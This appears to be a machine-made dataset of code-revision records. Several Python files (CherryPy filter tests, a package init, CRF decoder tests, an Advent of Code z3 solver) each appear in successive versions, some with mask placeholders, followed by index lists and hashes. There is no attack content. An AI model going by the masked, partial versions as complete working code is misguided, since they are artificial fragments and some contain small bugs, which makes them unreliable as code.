<mask token> import types import test test.prefer_parent_path() import cherrypy from cherrypy import filters from cherrypy.filters.basefilter import BaseFilter class AccessFilter(BaseFilter): def before_request_body(self): if not cherrypy.config.get('access_filter.on', False): return if not getattr(cherrypy.request, 'login', None): raise cherrypy.HTTPError(401) def setup_server(): class Numerify(BaseFilter): def on_start_resource(self): m = cherrypy.config.get('numerify_filter.map', {}) cherrypy.request.numerify_map = m.items() def before_finalize(self): if not cherrypy.config.get('numerify_filter.on', False): return def number_it(body): for chunk in body: for k, v in cherrypy.request.numerify_map: chunk = chunk.replace(k, v) yield chunk cherrypy.response.body = number_it(cherrypy.response.body) class NadsatFilter: def __init__(self): self.counter = 0 self.ended = {} def before_main(self): cherrypy.request.counter = self.counter = self.counter + 1 self.ended[cherrypy.request.counter] = False def before_finalize(self): def nadsat_it_up(body): for chunk in body: chunk = chunk.replace('good', 'horrorshow') chunk = chunk.replace('piece', 'lomtick') yield chunk cherrypy.response.body = nadsat_it_up(cherrypy.response.body) def on_end_request(self): cherrypy.response.body = 'razdrez' self.ended[cherrypy.request.counter] = True class Root: def index(self): return 'Howdy earth!' index.exposed = True cherrypy.root = Root() class TestType(type): """Metaclass which automatically exposes all functions in each subclass, and adds an instance of the subclass as an attribute of cherrypy.root. """ def __init__(cls, name, bases, dct): type.__init__(name, bases, dct) for value in dct.itervalues(): if isinstance(value, types.FunctionType): value.exposed = True setattr(cherrypy.root, name.lower(), cls()) class Test(object): __metaclass__ = TestType class CPFilterList(Test): _cp_filters = [NadsatFilter()] def index(self): return 'A good piece of cherry pie' def ended(self, id): return repr(self._cp_filters[0].ended[int(id)]) def err(self): raise ValueError() def errinstream(self): raise ValueError() yield 'confidential' def restricted(self): return 'Welcome!' def err_in_onstart(self): return 'success!' cherrypy.config.update({'global': {'server.input_filters': [ 'cherrypy.test.test_custom_filters.AccessFilter'], 'server.log_to_screen': False, 'server.environment': 'production', 'server.show_tracebacks': True}, '/cpfilterlist': { 'numerify_filter.on': True, 'numerify_filter.map': {'pie': '3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True, 'server.show_tracebacks': False}, '/cpfilterlist/errinstream': { 'stream_response': True}, '/cpfilterlist/err_in_onstart': { 'numerify_filter.map': 'pie->3.14159'}}) filters.input_filters.insert(0, Numerify) filters.output_filters.insert(0, Numerify) filters.init() import helper class FilterTests(helper.CPWebCase): def testCPFilterList(self): self.getPage('/cpfilterlist/') self.assertBody('A horrorshow lomtick of cherry 3.14159') self.getPage('/cpfilterlist/ended/1') self.assertBody('True') valerr = '\n raise ValueError()\nValueError' self.getPage('/cpfilterlist/err') self.assertErrorPage(500, pattern=valerr) self.getPage('/cpfilterlist/ended/3') self.assertBody('True') self.getPage('/cpfilterlist/errinstream') self.assertStatus('200 OK') self.assertBody('Unrecoverable error in the server.') self.getPage('/cpfilterlist/ended/5') self.assertBody('True') self.getPage('/cpfilterlist/restricted') self.assertErrorPage(401) def testGuaranteedFilters(self): self.getPage('/cpfilterlist/err_in_onstart') self.assertErrorPage(500) self.assertInBody( "AttributeError: 'Request' object has no attribute 'numerify_map'") if __name__ == '__main__': setup_server() helper.testmain()
"""Test the various means of instantiating and invoking filters.""" import types import test test.prefer_parent_path() import cherrypy from cherrypy import filters from cherrypy.filters.basefilter import BaseFilter class AccessFilter(BaseFilter): def before_request_body(self): if not cherrypy.config.get("access_filter.on", False): return if not getattr(cherrypy.request, "login", None): raise cherrypy.HTTPError(401) def setup_server(): class Numerify(BaseFilter): def on_start_resource(self): m = cherrypy.config.get("numerify_filter.map", {}) cherrypy.request.numerify_map = m.items() def before_finalize(self): if not cherrypy.config.get("numerify_filter.on", False): return def number_it(body): for chunk in body: for k, v in cherrypy.request.numerify_map: chunk = chunk.replace(k, v) yield chunk cherrypy.response.body = number_it(cherrypy.response.body) # It's not mandatory to inherit from BaseFilter. class NadsatFilter: def __init__(self): self.counter = 0 self.ended = {} def before_main(self): cherrypy.request.counter = self.counter = self.counter + 1 self.ended[cherrypy.request.counter] = False def before_finalize(self): def nadsat_it_up(body): for chunk in body: chunk = chunk.replace("good", "horrorshow") chunk = chunk.replace("piece", "lomtick") yield chunk cherrypy.response.body = nadsat_it_up(cherrypy.response.body) def on_end_request(self): # This runs after the request has been completely written out. cherrypy.response.body = "razdrez" self.ended[cherrypy.request.counter] = True class Root: def index(self): return "Howdy earth!" index.exposed = True cherrypy.root = Root() class TestType(type): """Metaclass which automatically exposes all functions in each subclass, and adds an instance of the subclass as an attribute of cherrypy.root. """ def __init__(cls, name, bases, dct): type.__init__(name, bases, dct) for value in dct.itervalues(): if isinstance(value, types.FunctionType): value.exposed = True setattr(cherrypy.root, name.lower(), cls()) class Test(object): __metaclass__ = TestType class CPFilterList(Test): # METHOD ONE: # Use _cp_filters (old name: _cpFilterList) _cp_filters = [NadsatFilter()] def index(self): return "A good piece of cherry pie" def ended(self, id): return repr(self._cp_filters[0].ended[int(id)]) def err(self): raise ValueError() def errinstream(self): raise ValueError() yield "confidential" def restricted(self): return "Welcome!" def err_in_onstart(self): return "success!" cherrypy.config.update({ 'global': { # METHOD TWO: # Declare a classname in server.input_filters. 'server.input_filters': ["cherrypy.test.test_custom_filters.AccessFilter"], 'server.log_to_screen': False, 'server.environment': 'production', 'server.show_tracebacks': True, }, '/cpfilterlist': { 'numerify_filter.on': True, 'numerify_filter.map': {"pie": "3.14159"} }, '/cpfilterlist/restricted': { 'access_filter.on': True, 'server.show_tracebacks': False, }, '/cpfilterlist/errinstream': { 'stream_response': True, }, '/cpfilterlist/err_in_onstart': { # Because this isn't a dict, on_start_resource will error. 'numerify_filter.map': "pie->3.14159" }, }) # METHOD THREE: # Insert a class directly into the filters.output_filters chain. # You can also insert a string, but we're effectively testing # using-a-string via the config file. filters.input_filters.insert(0, Numerify) filters.output_filters.insert(0, Numerify) # We have to call filters.init() here (if we want methods #2 and #3 # to work), because the test suite may already have run server.start() # (which is where filters.init() is usually called). filters.init() # Client-side code # import helper class FilterTests(helper.CPWebCase): def testCPFilterList(self): self.getPage("/cpfilterlist/") # If body is "razdrez", then on_end_request is being called too early. self.assertBody("A horrorshow lomtick of cherry 3.14159") # If this fails, then on_end_request isn't being called at all. self.getPage("/cpfilterlist/ended/1") self.assertBody("True") valerr = '\n raise ValueError()\nValueError' self.getPage("/cpfilterlist/err") # If body is "razdrez", then on_end_request is being called too early. self.assertErrorPage(500, pattern=valerr) # If this fails, then on_end_request isn't being called at all. self.getPage("/cpfilterlist/ended/3") self.assertBody("True") # If body is "razdrez", then on_end_request is being called too early. self.getPage("/cpfilterlist/errinstream") # Because this error is raised after the response body has # started, the status should not change to an error status. self.assertStatus("200 OK") self.assertBody("Unrecoverable error in the server.") # If this fails, then on_end_request isn't being called at all. self.getPage("/cpfilterlist/ended/5") self.assertBody("True") # Test the config method. self.getPage("/cpfilterlist/restricted") self.assertErrorPage(401) def testGuaranteedFilters(self): # The on_start_resource and on_end_request filter methods are all # guaranteed to run, even if there are failures in other on_start # or on_end methods. This is NOT true of the other filter methods. # Here, we have set up a failure in NumerifyFilter.on_start_resource, # but because that failure is logged and passed over, the error # page we obtain in the user agent should be from before_finalize. self.getPage("/cpfilterlist/err_in_onstart") self.assertErrorPage(500) self.assertInBody("AttributeError: 'Request' object has no " "attribute 'numerify_map'") if __name__ == '__main__': setup_server() helper.testmain()
[ 3, 6, 7, 8, 9 ]
9,979
acad268a228b544d60966a8767734cbf9c1237ac
<mask token>
<mask token> with veil_component.init_component(__name__): from .material import list_category_materials from .material import list_material_categories from .material import list_issue_materials from .material import list_issue_task_materials from .material import get_material_image_url __all__ = [list_category_materials.__name__, list_material_categories. __name__, list_issue_materials.__name__, list_issue_task_materials. __name__, get_material_image_url.__name__]
import veil_component with veil_component.init_component(__name__): from .material import list_category_materials from .material import list_material_categories from .material import list_issue_materials from .material import list_issue_task_materials from .material import get_material_image_url __all__ = [list_category_materials.__name__, list_material_categories. __name__, list_issue_materials.__name__, list_issue_task_materials. __name__, get_material_image_url.__name__]
import veil_component with veil_component.init_component(__name__): from .material import list_category_materials from .material import list_material_categories from .material import list_issue_materials from .material import list_issue_task_materials from .material import get_material_image_url __all__ = [ list_category_materials.__name__, list_material_categories.__name__, list_issue_materials.__name__, list_issue_task_materials.__name__, get_material_image_url.__name__, ]
null
[ 0, 1, 2, 3 ]
9,980
f64138ee5a64f09deb72b47b86bd7795acddad4d
<mask token> class CRFData: """ 测试用的 crf 数据 """ def __init__(self): bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']] self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding= LabelVocabulary.PADDING) self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3, 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float) self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long) self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float) self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6 ], dtype=torch.float) self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4 ], dtype=torch.float) self.crf = ConditionalRandomField(5) self.crf.transitions = torch.nn.Parameter(self.transitions) self.crf.start_transitions = torch.nn.Parameter(self. transitions_from_start) self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end) constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, 3), (3, 4), (4, 4), (4, 0)} for i in range(5): constraints.add((5, i)) constraints.add((i, 6)) constraint_crf = ConditionalRandomField(num_tags=5, constraints= constraints) constraint_crf.transitions = torch.nn.Parameter(self.transitions) constraint_crf.start_transitions = torch.nn.Parameter(self. transitions_from_start) constraint_crf.end_transitions = torch.nn.Parameter(self. transitions_to_end) self.constraint_crf = constraint_crf <mask token>
<mask token> class CRFData: """ 测试用的 crf 数据 """ def __init__(self): bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']] self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding= LabelVocabulary.PADDING) self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3, 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float) self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long) self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float) self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6 ], dtype=torch.float) self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4 ], dtype=torch.float) self.crf = ConditionalRandomField(5) self.crf.transitions = torch.nn.Parameter(self.transitions) self.crf.start_transitions = torch.nn.Parameter(self. transitions_from_start) self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end) constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, 3), (3, 4), (4, 4), (4, 0)} for i in range(5): constraints.add((5, i)) constraints.add((i, 6)) constraint_crf = ConditionalRandomField(num_tags=5, constraints= constraints) constraint_crf.transitions = torch.nn.Parameter(self.transitions) constraint_crf.start_transitions = torch.nn.Parameter(self. transitions_from_start) constraint_crf.end_transitions = torch.nn.Parameter(self. transitions_to_end) self.constraint_crf = constraint_crf @pytest.fixture(scope='class') def crf_data(): """ 产生测试用的 crf data :return: """ return CRFData() def test_crf_label_index_decoder(crf_data): """ 测试 crf label index decoder :param crf_data: crf data :return: """ mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long) crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf, label_vocabulary=crf_data.label_vocabulary) label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask) padding_index = crf_data.label_vocabulary.padding_index expect = [[2, 4, 3], [4, 2, padding_index]] ASSERT.assertListEqual(expect, label_indices.tolist()) <mask token>
<mask token> class CRFData: """ 测试用的 crf 数据 """ def __init__(self): bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']] self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding= LabelVocabulary.PADDING) self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3, 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float) self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long) self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float) self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6 ], dtype=torch.float) self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4 ], dtype=torch.float) self.crf = ConditionalRandomField(5) self.crf.transitions = torch.nn.Parameter(self.transitions) self.crf.start_transitions = torch.nn.Parameter(self. transitions_from_start) self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end) constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, 3), (3, 4), (4, 4), (4, 0)} for i in range(5): constraints.add((5, i)) constraints.add((i, 6)) constraint_crf = ConditionalRandomField(num_tags=5, constraints= constraints) constraint_crf.transitions = torch.nn.Parameter(self.transitions) constraint_crf.start_transitions = torch.nn.Parameter(self. transitions_from_start) constraint_crf.end_transitions = torch.nn.Parameter(self. transitions_to_end) self.constraint_crf = constraint_crf @pytest.fixture(scope='class') def crf_data(): """ 产生测试用的 crf data :return: """ return CRFData() def test_crf_label_index_decoder(crf_data): """ 测试 crf label index decoder :param crf_data: crf data :return: """ mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long) crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf, label_vocabulary=crf_data.label_vocabulary) label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask) padding_index = crf_data.label_vocabulary.padding_index expect = [[2, 4, 3], [4, 2, padding_index]] ASSERT.assertListEqual(expect, label_indices.tolist()) def test_crf_label_index_decoder_with_constraint(crf_data): mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.uint8) crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data. constraint_crf, label_vocabulary=crf_data.label_vocabulary) label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask) padding_index = crf_data.label_vocabulary.padding_index expect = [[2, 3, 3], [2, 3, padding_index]] ASSERT.assertListEqual(expect, label_indices.tolist())
<mask token> import pytest import torch from easytext.tests import ASSERT from easytext.data import LabelVocabulary from easytext.modules import ConditionalRandomField from easytext.label_decoder import CRFLabelIndexDecoder class CRFData: """ 测试用的 crf 数据 """ def __init__(self): bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']] self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding= LabelVocabulary.PADDING) self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3, 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float) self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long) self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float) self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6 ], dtype=torch.float) self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4 ], dtype=torch.float) self.crf = ConditionalRandomField(5) self.crf.transitions = torch.nn.Parameter(self.transitions) self.crf.start_transitions = torch.nn.Parameter(self. transitions_from_start) self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end) constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, 3), (3, 4), (4, 4), (4, 0)} for i in range(5): constraints.add((5, i)) constraints.add((i, 6)) constraint_crf = ConditionalRandomField(num_tags=5, constraints= constraints) constraint_crf.transitions = torch.nn.Parameter(self.transitions) constraint_crf.start_transitions = torch.nn.Parameter(self. transitions_from_start) constraint_crf.end_transitions = torch.nn.Parameter(self. transitions_to_end) self.constraint_crf = constraint_crf @pytest.fixture(scope='class') def crf_data(): """ 产生测试用的 crf data :return: """ return CRFData() def test_crf_label_index_decoder(crf_data): """ 测试 crf label index decoder :param crf_data: crf data :return: """ mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long) crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf, label_vocabulary=crf_data.label_vocabulary) label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask) padding_index = crf_data.label_vocabulary.padding_index expect = [[2, 4, 3], [4, 2, padding_index]] ASSERT.assertListEqual(expect, label_indices.tolist()) def test_crf_label_index_decoder_with_constraint(crf_data): mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.uint8) crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data. constraint_crf, label_vocabulary=crf_data.label_vocabulary) label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask) padding_index = crf_data.label_vocabulary.padding_index expect = [[2, 3, 3], [2, 3, padding_index]] ASSERT.assertListEqual(expect, label_indices.tolist())
#!/usr/bin/env python 3 # -*- coding: utf-8 -*- # # Copyright (c) 2020 PanXu, Inc. All Rights Reserved # """ 测试 label index decoder Authors: PanXu Date: 2020/07/05 15:10:00 """ import pytest import torch from easytext.tests import ASSERT from easytext.data import LabelVocabulary from easytext.modules import ConditionalRandomField from easytext.label_decoder import CRFLabelIndexDecoder class CRFData: """ 测试用的 crf 数据 """ def __init__(self): bio_labels = [["O", "I-X", "B-X", "I-Y", "B-Y"]] self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=LabelVocabulary.PADDING) self.logits = torch.tensor([ [[0, 0, .5, .5, .2], [0, 0, .3, .3, .1], [0, 0, .9, 10, 1]], [[0, 0, .2, .5, .2], [0, 0, 3, .3, .1], [0, 0, .9, 1, 1]], ], dtype=torch.float) self.tags = torch.tensor([ [2, 3, 4], [3, 2, 2] ], dtype=torch.long) self.transitions = torch.tensor([ [0.1, 0.2, 0.3, 0.4, 0.5], [0.8, 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0] ], dtype=torch.float) self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6], dtype=torch.float) self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4], dtype=torch.float) # Use the CRF Module with fixed transitions to compute the log_likelihood self.crf = ConditionalRandomField(5) self.crf.transitions = torch.nn.Parameter(self.transitions) self.crf.start_transitions = torch.nn.Parameter(self.transitions_from_start) self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end) # constraint crf constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, 3), (3, 4), (4, 4), (4, 0)} # Add the transitions to the end tag # and from the start tag. for i in range(5): constraints.add((5, i)) constraints.add((i, 6)) constraint_crf = ConditionalRandomField(num_tags=5, constraints=constraints) constraint_crf.transitions = torch.nn.Parameter(self.transitions) constraint_crf.start_transitions = torch.nn.Parameter(self.transitions_from_start) constraint_crf.end_transitions = torch.nn.Parameter(self.transitions_to_end) self.constraint_crf = constraint_crf @pytest.fixture(scope="class") def crf_data(): """ 产生测试用的 crf data :return: """ return CRFData() def test_crf_label_index_decoder(crf_data): """ 测试 crf label index decoder :param crf_data: crf data :return: """ mask = torch.tensor([ [1, 1, 1], [1, 1, 0] ], dtype=torch.long) crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf, label_vocabulary=crf_data.label_vocabulary) label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask) padding_index = crf_data.label_vocabulary.padding_index expect = [[2, 4, 3], [4, 2, padding_index]] ASSERT.assertListEqual(expect, label_indices.tolist()) def test_crf_label_index_decoder_with_constraint(crf_data): mask = torch.tensor([ [1, 1, 1], [1, 1, 0] ], dtype=torch.uint8) crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.constraint_crf, label_vocabulary=crf_data.label_vocabulary) label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask) padding_index = crf_data.label_vocabulary.padding_index expect = [[2, 3, 3], [2, 3, padding_index]] ASSERT.assertListEqual(expect, label_indices.tolist())
[ 3, 5, 6, 7, 8 ]
9,981
c4bd55be86c1f55d89dfcbba2ccde4f3b132edcb
<mask token> def find_edge(sensors, pos, dir): x, row = pos closer = [] for sensor in sensors.keys(): if manhat(pos, sensor) <= sensors[sensor]: closer.append(sensor) if dir > 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max( [x for x, y in closer])][0] elif dir < 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min( [x for x, y in closer])][0] if dir > 0: if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point )) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir return find_edge(sensors, (new_x, row), dir) elif dir < 0: if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point )) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir return find_edge(sensors, (new_x, row), dir) else: raise Exception("This shouldn't be happening. We've gone too far!") <mask token> def part_two(data_in): s = z3.Solver() x = z3.Int('x') y = z3.Int('y') s.add(0 <= x) s.add(x <= 4000000) s.add(0 <= y) s.add(y <= 4000000) def z3_abs(x): return z3.If(x >= 0, x, -x) for line in data: sx, sy, bx, by = [int(x) for x in digit_search.findall(line)] m = abs(sx - bx) + abs(sy - by) s.add(z3_abs(sx - x) + z3_abs(sy - y) > m) s.check() outx, outy = s.model()[x].as_long(), s.model()[y].as_long() return outx * 4000000 + outy <mask token>
<mask token> def manhat(point_one, point_two): return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1]) def find_edge(sensors, pos, dir): x, row = pos closer = [] for sensor in sensors.keys(): if manhat(pos, sensor) <= sensors[sensor]: closer.append(sensor) if dir > 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max( [x for x, y in closer])][0] elif dir < 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min( [x for x, y in closer])][0] if dir > 0: if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point )) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir return find_edge(sensors, (new_x, row), dir) elif dir < 0: if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point )) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir return find_edge(sensors, (new_x, row), dir) else: raise Exception("This shouldn't be happening. We've gone too far!") def no_beacon_row(sensors, beacons, row): start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys())) beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row]) return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, ( start_x, row), -1) - beacons_on_row + 1 def part_two(data_in): s = z3.Solver() x = z3.Int('x') y = z3.Int('y') s.add(0 <= x) s.add(x <= 4000000) s.add(0 <= y) s.add(y <= 4000000) def z3_abs(x): return z3.If(x >= 0, x, -x) for line in data: sx, sy, bx, by = [int(x) for x in digit_search.findall(line)] m = abs(sx - bx) + abs(sy - by) s.add(z3_abs(sx - x) + z3_abs(sy - y) > m) s.check() outx, outy = s.model()[x].as_long(), s.model()[y].as_long() return outx * 4000000 + outy <mask token>
<mask token> def get_sensor_beacon(data_in): sensors = {} beacons = set() for line in data_in: s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line))) sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y) beacons.add((b_x, b_y)) return sensors, beacons def manhat(point_one, point_two): return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1]) def find_edge(sensors, pos, dir): x, row = pos closer = [] for sensor in sensors.keys(): if manhat(pos, sensor) <= sensors[sensor]: closer.append(sensor) if dir > 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max( [x for x, y in closer])][0] elif dir < 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min( [x for x, y in closer])][0] if dir > 0: if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point )) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir return find_edge(sensors, (new_x, row), dir) elif dir < 0: if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point )) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir return find_edge(sensors, (new_x, row), dir) else: raise Exception("This shouldn't be happening. We've gone too far!") def no_beacon_row(sensors, beacons, row): start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys())) beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row]) return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, ( start_x, row), -1) - beacons_on_row + 1 def part_two(data_in): s = z3.Solver() x = z3.Int('x') y = z3.Int('y') s.add(0 <= x) s.add(x <= 4000000) s.add(0 <= y) s.add(y <= 4000000) def z3_abs(x): return z3.If(x >= 0, x, -x) for line in data: sx, sy, bx, by = [int(x) for x in digit_search.findall(line)] m = abs(sx - bx) + abs(sy - by) s.add(z3_abs(sx - x) + z3_abs(sy - y) > m) s.check() outx, outy = s.model()[x].as_long(), s.model()[y].as_long() return outx * 4000000 + outy with open('day15.txt', 'r') as f: data = f.read().split('\n') <mask token> print('Part One:', no_beacon_row(sensor_list, beacon_list, 2000000)) print('Part Two:', part_two(data))
import re import z3 digit_search = re.compile('\\-?\\d+') def get_sensor_beacon(data_in): sensors = {} beacons = set() for line in data_in: s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line))) sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y) beacons.add((b_x, b_y)) return sensors, beacons def manhat(point_one, point_two): return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1]) def find_edge(sensors, pos, dir): x, row = pos closer = [] for sensor in sensors.keys(): if manhat(pos, sensor) <= sensors[sensor]: closer.append(sensor) if dir > 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max( [x for x, y in closer])][0] elif dir < 0: edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min( [x for x, y in closer])][0] if dir > 0: if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point )) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir return find_edge(sensors, (new_x, row), dir) elif dir < 0: if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point )) for point in closer]) == 0: return x elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]: new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir return find_edge(sensors, (new_x, row), dir) else: raise Exception("This shouldn't be happening. We've gone too far!") def no_beacon_row(sensors, beacons, row): start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys())) beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row]) return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, ( start_x, row), -1) - beacons_on_row + 1 def part_two(data_in): s = z3.Solver() x = z3.Int('x') y = z3.Int('y') s.add(0 <= x) s.add(x <= 4000000) s.add(0 <= y) s.add(y <= 4000000) def z3_abs(x): return z3.If(x >= 0, x, -x) for line in data: sx, sy, bx, by = [int(x) for x in digit_search.findall(line)] m = abs(sx - bx) + abs(sy - by) s.add(z3_abs(sx - x) + z3_abs(sy - y) > m) s.check() outx, outy = s.model()[x].as_long(), s.model()[y].as_long() return outx * 4000000 + outy with open('day15.txt', 'r') as f: data = f.read().split('\n') sensor_list, beacon_list = get_sensor_beacon(data) print('Part One:', no_beacon_row(sensor_list, beacon_list, 2000000)) print('Part Two:', part_two(data))
